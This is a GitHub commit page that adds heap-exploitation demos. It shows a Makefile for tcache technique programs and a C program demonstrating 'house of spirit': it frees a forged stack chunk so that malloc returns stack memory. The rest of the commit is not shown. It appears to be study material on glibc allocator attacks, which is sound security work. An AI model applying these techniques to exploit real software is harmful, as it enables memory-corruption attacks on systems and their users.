-
Notifications
You must be signed in to change notification settings - Fork 705
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
6 changed files
with
411 additions
and
10 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,6 @@ | ||
PROGRAMS = tcache_poisoning tcache_overlapping_chunks tcache_house_of_spirit tcache_dup | ||
CFLAGS += -Wpedantic -std=gnu11 -g | ||
|
||
all: $(PROGRAMS) | ||
clean: | ||
rm -f $(PROGRAMS) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,27 @@ | ||
#include <stdio.h> | ||
#include <stdlib.h> | ||
#include <string.h> | ||
|
||
int main() { | ||
malloc(1); // init heap | ||
|
||
fprintf(stderr, "We will overwrite a pointer to point to a fake 'smallbin' region.\n"); | ||
unsigned long long *a, *b; | ||
unsigned long long fake_chunk[64] __attribute__ ((aligned (16))); | ||
|
||
fprintf(stderr, "The chunk: %p\n", &fake_chunk[0]); | ||
|
||
fake_chunk[1] = 0x110; // the size | ||
memset(fake_chunk+2, 0x41, sizeof(fake_chunk)-0x10); | ||
|
||
fprintf(stderr, "Overwritting our pointer with the address of the fake region inside the fake chunk, %p.\n", &fake_chunk[0]); | ||
a = &fake_chunk[2]; | ||
|
||
fprintf(stderr, "Freeing the overwritten pointer.\n"); | ||
free(a); | ||
|
||
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunk[0], &fake_chunk[2]); | ||
b = malloc(0x100); | ||
memset(fake_chunk+2, 0x42, sizeof(fake_chunk)-0x10); | ||
fprintf(stderr, "malloc(0x100): %p\n", b); | ||
} |
Oops, something went wrong.